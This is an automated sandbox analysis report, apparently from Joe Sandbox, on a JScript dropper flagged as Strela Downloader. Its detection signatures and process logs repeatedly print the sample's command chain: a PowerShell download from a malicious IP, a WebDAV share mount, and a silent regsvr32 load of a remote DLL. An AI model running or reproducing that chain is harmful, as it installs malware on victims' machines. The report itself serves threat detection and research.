Edit tour

Windows Analysis Report
1487427797195518826.js

Overview

General Information

Sample name:	1487427797195518826.js
Analysis ID:	1588608
MD5:	2536abd36d3f093b81eee80c269b7b9c
SHA1:	2ad5ccfbe1b42d602f331663bca977859653d765
SHA256:	5d5b9140fc8eef7c940e74a57c3b84cd187499f22ae77f0e7541b43e691ab40a
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6664 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6596 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2900 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2496 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4416 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1632,i,15381475239559648438,13996178919531492773,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 876 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3288 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3060 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6664	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2900, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2900, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", ProcessId: 6664, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3288, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49770

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6664, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6664, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6664, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6664, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6664, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", ProcessId: 6664, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2900, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 876, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3288, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3060, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 876, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3288, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6664, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll, ProcessId: 6596, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:05:16.897996+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.11	49750	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:05:20.233672+0100	1810005	1	Potentially Bad Traffic	192.168.2.11	49770	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:05:16.897996+0100	1810000	2	Potentially Bad Traffic	192.168.2.11	49750	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1487427797195518826.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1487427797195518826.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1487427797195518826.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.11:49750 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.11:49770 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:05:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

